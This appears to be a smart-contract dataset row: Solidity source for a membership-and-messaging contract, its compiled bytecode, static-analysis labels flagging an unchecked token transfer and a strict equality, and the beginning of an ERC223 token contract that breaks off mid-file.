members_[0] = Member(true, bytes32(""), "", uint64(now), 0);
// Set up the address associated with the member.
memberToAddress_[0] = msg.sender;
// Point the address to member's id.
addressToMember_[msg.sender] = 0;
// Grant members-only access to the new member.
addressIsMember_[msg.sender] = true;
}
// Existing members can designate new users by specifying an unused member id
// and address. The new member's initial member name should also be supplied.
function newMember(uint8 _memberId, bytes32 _memberName, address _memberAddress) public membersOnly {
// Members need a non-null address.
require(_memberAddress != address(0));
// Existing members (that have not fallen inactive) cannot be replaced.
require (!members_[_memberId].member);
// One address cannot hold more than one membership.
require (!addressIsMember_[_memberAddress]);
// Log the addition of a new member: (member id, name, address).
NewMember(_memberId, _memberName, _memberAddress);
// Set up the member: status, name, `member since` & `inactive since`.
members_[_memberId] = Member(true, _memberName, "", uint64(now), 0);
// Set up the address associated with the member id.
memberToAddress_[_memberId] = _memberAddress;
// Point the address to the member id.
addressToMember_[_memberAddress] = _memberId;
// Grant members-only access to the new member.
addressIsMember_[_memberAddress] = true;
}
// Members can set a name (encoded as a hex value) that will be associated
// with their membership.
function changeName(bytes32 _newMemberName) public membersOnly {
// Log the member's name change: (member id, new name).
NewMemberName(addressToMember_[msg.sender], _newMemberName);
// Change the member's name.
members_[addressToMember_[msg.sender]].name = _newMemberName;
}
// Members can set a public key that will be used for verifying signed
// messages from the member or encrypting messages intended for the member.
function changeKey(string _newMemberKey) public membersOnly {
// Log the member's key change: (member id, new member key).
NewMemberKey(addressToMember_[msg.sender], _newMemberKey);
// Change the member's public key.
members_[addressToMember_[msg.sender]].pubkey = _newMemberKey;
}
// Members can transfer their membership to a new address; when they do, the
// fields on the membership are all reset.
function transferMembership(address _newMemberAddress) public membersOnly {
// Members need a non-null address.
require(_newMemberAddress != address(0));
// Memberships cannot be transferred to existing members.
require (!addressIsMember_[_newMemberAddress]);
// Log transfer of membership: (member id, new address).
MembershipTransferred(addressToMember_[msg.sender], _newMemberAddress);
// Revoke members-only access for the old member.
delete addressIsMember_[msg.sender];
// Reset fields on the membership.
members_[addressToMember_[msg.sender]].memberSince = uint64(now);
members_[addressToMember_[msg.sender]].inactiveSince = 0;
members_[addressToMember_[msg.sender]].name = bytes32("");
members_[addressToMember_[msg.sender]].pubkey = "";
// Replace the address associated with the member id.
memberToAddress_[addressToMember_[msg.sender]] = _newMemberAddress;
// Point the new address to the member id and clean up the old pointer.
addressToMember_[_newMemberAddress] = addressToMember_[msg.sender];
delete addressToMember_[msg.sender];
// Grant members-only access to the new member.
addressIsMember_[_newMemberAddress] = true;
}
// As a mechanism to remove members that are no longer active due to lost keys
// or a lack of engagement, other members may proclaim them as inactive.
function proclaimInactive(uint8 _memberId) public membersOnly {
// Members must exist and be currently active to proclaim inactivity.
require(members_[_memberId].member);
require(memberIsActive(_memberId));
// Members cannot proclaim themselves as inactive (safety measure).
require(addressToMember_[msg.sender] != _memberId);
// Log proclamation of inactivity: (inactive member id, member id, time).
MemberProclaimedInactive(_memberId, addressToMember_[msg.sender]);
// Set the `inactiveSince` field on the inactive member.
members_[_memberId].inactiveSince = uint64(now);
}
// Members that have erroneously been marked as inactive may send a heartbeat
// to prove that they are still active, voiding the `inactiveSince` property.
function heartbeat() public membersOnly {
// Log that the member has heartbeated and is still active.
MemberHeartbeated(addressToMember_[msg.sender]);
// Designate member as active by voiding their `inactiveSince` field.
members_[addressToMember_[msg.sender]].inactiveSince = 0;
}
// If a member has been marked inactive for the duration of the inactivity
// timeout, another member may revoke their membership and delete them.
function revokeMembership(uint8 _memberId) public membersOnly {
// Members must exist in order to be revoked.
require(members_[_memberId].member);
// Members must be designated as inactive.
require(!memberIsActive(_memberId));
// Members cannot revoke themselves (safety measure).
require(addressToMember_[msg.sender] != _memberId);
// Members must be inactive for the duration of the inactivity timeout.
require(now >= members_[_memberId].inactiveSince + INACTIVITYTIMEOUT_);
// Log that the membership has been revoked.
MembershipRevoked(_memberId, addressToMember_[msg.sender]);
// Revoke members-only access for the member.
delete addressIsMember_[memberToAddress_[_memberId]];
// Delete the pointer linking the address to the member id.
delete addressToMember_[memberToAddress_[_memberId]];
// Delete the address associated with the member id.
delete memberToAddress_[_memberId];
// Finally, delete the member.
delete members_[_memberId];
}
// While most messaging is intended to occur off-chain using supplied keys,
// members can also broadcast a message as an on-chain event.
function broadcastMessage(string _message) public membersOnly {
// Log the message.
BroadcastMessage(addressToMember_[msg.sender], _message);
}
// In addition, members can send direct messagees as an on-chain event. These
// messages are intended to be encrypted using the recipient's public key.
function directMessage(uint8 _toMemberId, string _message) public membersOnly {
// Log the message.
DirectMessage(addressToMember_[msg.sender], _toMemberId, _message);
}
// Members can also pass a message to any contract that supports it (via the
// `theCyberMessage(string)` function), designated by the contract address.
function passMessage(address _contractAddress, string _message) public membersOnly {
// Log that another contract has been called and passed a message.
Call(addressToMember_[msg.sender], _contractAddress, _message);
// call the method of the target contract and pass in the message.
SupportedContract(_contractAddress).theCyberMessage(_message);
}
// The contract is not payable by design, but could end up with a balance as
// a recipient of a selfdestruct / coinbase of a mined block.
function donateFunds() public membersOnly {
// Log the donation of any funds that have made their way into the contract.
FundsDonated(addressToMember_[msg.sender], this.balance);
// Send all available funds to the donation address.
DONATIONADDRESS_.transfer(this.balance);
}
// We also want to be able to access any tokens that are sent to the contract.
function donateTokens(address _tokenContractAddress) public membersOnly {
// Make sure that we didn't pass in the current contract address by mistake.
require(_tokenContractAddress != address(this));
// Log the donation of any tokens that have been sent into the contract.
TokensDonated(addressToMember_[msg.sender], _tokenContractAddress, ERC20(_tokenContractAddress).balanceOf(this));
// Send all available tokens at the given contract to the donation address.
ERC20(_tokenContractAddress).transfer(DONATIONADDRESS_, ERC20(_tokenContractAddress).balanceOf(this));
}
function getMembershipStatus(address _memberAddress) public view returns (bool member, uint8 memberId) {
return (
addressIsMember_[_memberAddress],
addressToMember_[_memberAddress]
);
}
function getMemberInformation(uint8 _memberId) public view returns (bytes32 memberName, string memberKey, uint64 memberSince, uint64 inactiveSince, address memberAddress) {
return (
members_[_memberId].name,
members_[_memberId].pubkey,
members_[_memberId].memberSince,
members_[_memberId].inactiveSince,
memberToAddress_[_memberId]
);
}
function maxMembers() public pure returns(uint16) {
return MAXMEMBERS_;
}
function inactivityTimeout() public pure returns(uint64) {
return INACTIVITYTIMEOUT_;
}
function donationAddress() public pure returns(address) {
return DONATIONADDRESS_;
}
function memberIsActive(uint8 _memberId) internal view returns (bool) {
return (members_[_memberId].inactiveSince == 0);
}
} | 0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806308614362146100f6578063186690b01461012f5780631c14b3401461018c5780633defb962146102085780637150773d1461021d5780637bbb3a6014610232578063861080ae1461026f578063898855ed146102a85780638c9c2977146102cf578063a7f2f4e214610321578063aef3bc171461037f578063b10c7dc414610496578063bbbff571146104bc578063bf4386a014610519578063e8350fae1461054a578063e998db2a14610570578063ec034bed146105d9575b600080fd5b341561010157600080fd5b61012d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061062e565b005b341561013a57600080fd5b61018a600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506109d6565b005b341561019757600080fd5b610206600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b1f565b005b341561021357600080fd5b61021b610d67565b005b341561022857600080fd5b610230610ecd565b005b341561023d57600080fd5b610245611032565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b341561027a57600080fd5b6102a6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061103d565b005b34156102b357600080fd5b6102cd60048080356000191690602001909190505061163d565b005b34156102da57600080fd5b61031f600480803560ff169060200190919080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611799565b005b341561032c57600080fd5b610358600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b3c565b60405180831515151581526020018260ff1660ff1681526020019250505060405180910390f35b341561038a57600080fd5b6103a3600480803560ff16906020019091905050611be4565b604051808660001916600019168152602001806020018567ffffffffffffffff1667ffffffffffffffff1681526020018467ffffffffffffffff1667ffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825286818151815260200191508051906020019080838360005b8381101561045757808201518184015260208101905061043c565b50505050905090810190601f1680156104845780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b34156104a157600080fd5b6104ba600480803560ff16906020019091905050611d6c565b005b34156104c757600080fd5b610517600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612103565b005b341561052457600080fd5b61052c6122c8565b604051808261ffff1661ffff16815260200191505060405180910390f35b341561055557600080fd5b61056e600480803560ff169060200190919050506122d2565b005b341561057b57600080fd5b6105d7600480803560ff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612499565b005b34156105e457600080fd5b6105ec6125e7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561068757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156106c257600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167fe17714fce01d3e4d9f27e8841abde3e84f571f5b89170ada4ab56a7db4408448828373ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156107d857600080fd5b6102c65a03f115156107e957600080fd5b50505060405180519050604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a28073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb73fb6916095ca1df60bb79ce92ce3ea74c37c5d3598373ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561090f57600080fd5b6102c65a03f1151561092057600080fd5b505050604051805190506000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156109b757600080fd5b6102c65a03f115156109c857600080fd5b505050604051805190505050565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a2f57600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167fbd1d3d6b52ebc809e0b198b8a63b4327a187af395a374fa042b62e643d2b511b826040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ae2578082015181840152602081019050610ac7565b50505050905090810190601f168015610b0f5780820380516001836020036101000a031916815260200191505b509250505060405180910390a250565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b7857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1661040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167fca48db1ccaccd53c035af3bec289942356536760e217071cdd05e785d42af91f836040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c42578082015181840152602081019050610c27565b50505050905090810190601f168015610c6f5780820380516001836020036101000a031916815260200191505b509250505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff1663a82e0dcc826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d04578082015181840152602081019050610ce9565b50505050905090810190601f168015610d315780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b1515610d4f57600080fd5b6102c65a03f11515610d6057600080fd5b5050505050565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610dc057600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167f5d929f91f7700c4be753fc214ce808ba74177a3a40b7f63ee5f57d945a5c3e3f60405160405180910390a260008061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1661010081101515610e9e57fe5b6004020160030160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610f2657600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167f926420a40d9c871013b42548439f674fcef6bdfe74839211f1afa91a9c9675283073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a273fb6916095ca1df60bb79ce92ce3ea74c37c5d35973ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561103057600080fd5b565b60006276a700905090565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561109657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110d257600080fd5b61040060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561112c57600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167f6bddff94deac5f5ad6ccd6454f19dd625357651ee478c45f69e0995ef7d7d0cf82604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a261040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905542600061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff166101008110151561129157fe5b6004020160030160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060008061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff166101008110151561131f57fe5b6004020160030160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060008061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16610100811015156113ad57fe5b6004020160010181600019169055506020604051908101604052806000815250600061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff166101008110151561142d57fe5b600402016002019080519060200190611447929190612647565b5080610402600061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661040160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff0219169055600161040060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561169657600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167f3bdc0922624ccdf6d855a8f640372a3b5a4f9dc63bc15e69ed54e7a4eb9fd7f18260405180826000191660001916815260200191505060405180910390a280600061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff166101008110151561178757fe5b60040201600101816000191690555050565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156117f257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561182e57600080fd5b60008360ff166101008110151561184157fe5b6004020160000160009054906101000a900460ff1615151561186257600080fd5b61040060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118bc57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff168360ff167f1e4bbc2d61b87c3140634ece2082c7d76448cc04c72996f171ec2c67eeb538458460405180826000191660001916815260200191505060405180910390a360a06040519081016040528060011515815260200183600019168152602001602060405190810160405280600081525081526020014267ffffffffffffffff168152602001600067ffffffffffffffff1681525060008460ff166101008110151561197d57fe5b6004020160008201518160000160006101000a81548160ff0219169083151502179055506020820151816001019060001916905560408201518160020190805190602001906119cd9291906126c7565b5060608201518160030160006101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060808201518160030160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050508061040260008560ff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508261040160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550600161040060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008061040060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661040160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1691509150915091565b6000611bee612747565b6000806000808660ff1661010081101515611c0557fe5b600402016001015460008760ff1661010081101515611c2057fe5b6004020160020160008860ff1661010081101515611c3a57fe5b6004020160030160009054906101000a900467ffffffffffffffff1660008960ff1661010081101515611c6957fe5b6004020160030160089054906101000a900467ffffffffffffffff1661040260008b60ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d525780601f10611d2757610100808354040283529160200191611d52565b820191906000526020600020905b815481529060010190602001808311611d3557829003601f168201915b505050505093509450945094509450945091939590929450565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611dc557600080fd5b60008160ff1661010081101515611dd857fe5b6004020160000160009054906101000a900460ff161515611df857600080fd5b611e0181612603565b151515611e0d57600080fd5b8060ff1661040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614151515611e6f57600080fd5b6276a70060008260ff1661010081101515611e8657fe5b6004020160030160089054906101000a900467ffffffffffffffff160167ffffffffffffffff164210151515611ebb57600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff167fed265f1a3332b13c6b4fb47a3837270d7431bcd0018ebbdfde5bb0047f3f0c9260405160405180910390a3610400600061040260008460ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff0219169055610401600061040260008460ff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905561040260008260ff16815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560008160ff166101008110151561209757fe5b60040201600080820160006101000a81549060ff021916905560018201600090556002820160006120c8919061275b565b6003820160006101000a81549067ffffffffffffffff02191690556003820160086101000a81549067ffffffffffffffff0219169055505050565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561215c57600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167f75b418fa6cc3f7cd8247ad205fe1d4268cc8e1e07c4a5e49208f27b9546df040826040518080602001828103825283818151815260200191508051906020019080838360005b8381101561220f5780820151818401526020810190506121f4565b50505050905090810190601f16801561223c5780820380516001836020036101000a031916815260200191505b509250505060405180910390a280600061040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16610100811015156122aa57fe5b6004020160020190805190602001906122c4929190612647565b5050565b6000610100905090565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561232b57600080fd5b60008160ff166101008110151561233e57fe5b6004020160000160009054906101000a900460ff16151561235e57600080fd5b61236781612603565b151561237257600080fd5b8060ff1661040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16141515156123d457600080fd5b61040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff167f61cccff609a8f0d83e0b144beae5df00c88b3f574482bb4a6adb1d08b0c60cab60405160405180910390a34260008260ff166101008110151561246957fe5b6004020160030160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555050565b61040060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156124f257600080fd5b8160ff1661040160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff167f0ab1cbe2ec2a845c35b43420193fc9fae71ae2798c6ef6decfc85b87ee41450c836040518080602001828103825283818151815260200191508051906020019080838360005b838110156125a957808201518184015260208101905061258e565b50505050905090810190601f1680156125d65780820380516001836020036101000a031916815260200191505b509250505060405180910390a35050565b600073fb6916095ca1df60bb79ce92ce3ea74c37c5d359905090565b60008060008360ff166101008110151561261957fe5b6004020160030160089054906101000a900467ffffffffffffffff1667ffffffffffffffff16149050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061268857805160ff19168380011785556126b6565b828001600101855582156126b6579182015b828111156126b557825182559160200191906001019061269a565b5b5090506126c391906127a3565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061270857805160ff1916838001178555612736565b82800160010185558215612736579182015b8281111561273557825182559160200191906001019061271a565b5b50905061274391906127a3565b5090565b602060405190810160405280600081525090565b50805460018160011615610100020316600290046000825580601f1061278157506127a0565b601f01602090049060005260206000209081019061279f91906127a3565b5b50565b6127c591905b808211156127c15760008160009055506001016127a9565b5090565b905600a165627a7a72305820b8dd0934a8336cde74967073024baa3e108f790f55d91fb6710682c25cc660390029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,155 |
0x8ea6ccbb95efad9ff6df3721b6b9738cac255d59 | pragma solidity ^0.4.21;
// zeppelin-solidity: 1.9.0
/// @title Contract that supports the receival of ERC223 tokens.
contract ERC223ReceivingContract {
/// @dev Standard ERC223 function that will handle incoming token transfers.
/// @param _from Token sender address.
/// @param _value Amount of tokens.
/// @param _data Transaction metadata.
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC223 standard token interface.
*/
contract ERC223Basic is ERC20Basic {
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Now with a new parameter _data.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) public returns (bool);
/**
* @dev triggered when transfer is successfully called.
*
* @param _from Sender address.
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
event Transfer(address indexed _from, address indexed _to, uint256 indexed _value, bytes _data);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC223 standard token implementation.
*/
contract ERC223BasicToken is ERC223Basic, BasicToken {
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
require(super.transfer(_to, _value));
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
require(transfer(_to, _value, empty));
return true;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
